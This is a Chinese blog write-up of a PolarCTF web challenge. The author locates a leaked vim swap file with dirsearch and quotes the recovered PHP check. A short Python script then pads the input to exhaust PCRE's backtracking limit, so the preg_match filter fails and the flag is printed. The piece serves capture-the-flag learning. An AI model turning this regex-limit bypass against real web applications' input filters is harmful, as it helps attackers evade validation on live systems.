bloodpack

  博客园  :: 首页  :: 新随笔  :: 联系 :: 订阅 订阅  :: 管理

记一次web做题笔记: swp

通过题目提示查找swp的相关内容

所以可能后台存在swp文件,使用dirsearch扫描目录

找到一个/index.php.swp ,后缀输入跳转

开始分析源码,这里套用其他师傅的分析(没学透的孩子是这样qwq)

点击查看代码
function jiuzhe($xdmtql){ //接受一个xdmtql变量
    return preg_match('/sys.*nb/is',$xdmtql); //匹配变量
}
 
$xdmtql=@$_POST['xdmtql']; 
if(!is_array($xdmtql)){  //判断变量是否为数组类型,不为数组类型往下判断
    if(!jiuzhe($xdmtql)){ //利用jiuzhe函数进行匹配输入的值
        if(strpos($xdmtql,'sys nb')!==false){  //绕过 preg_match函数后匹配变量,匹配到的话输出flag
            echo 'flag{*******}';
        }else{
            echo 'true .swp file?';
        }
    }else{
        echo 'nijilenijile';  //匹配到/sys.*nb/is的话输出
    }
}

需要绕过pre_match()和is_array()两个函数的同时,匹配strpos()的字符串
这里贴出第一次接触的函数详解

有了破解方向就开始编写脚本

点击查看代码
import requests
url = 'http://508145d8-6214-42c5-9b37-0ccf4b115773.www.polarctf.com:8090/'
data = {
    'xdmtql': 'sys nb' + 'very' * 250000
}
r = requests.post(url=url, data=data).text
print(r)

得到flag

参考文献:
(https://blog.csdn.net/m0_73981089/article/details/138520071?ops_request_misc=%257B%2522request%255Fid%2522%253A%25227b170b72b96c3111294c16ad61030277%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=7b170b72b96c3111294c16ad61030277&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2allsobaiduend~default-1-138520071-null-null.142v102pc_search_result_base4&utm_term=polarctf web swp&spm=1018.2226.3001.4187)

posted on 2025-04-14 17:19  我靠我血包呢  阅读(21)  评论(0)    收藏  举报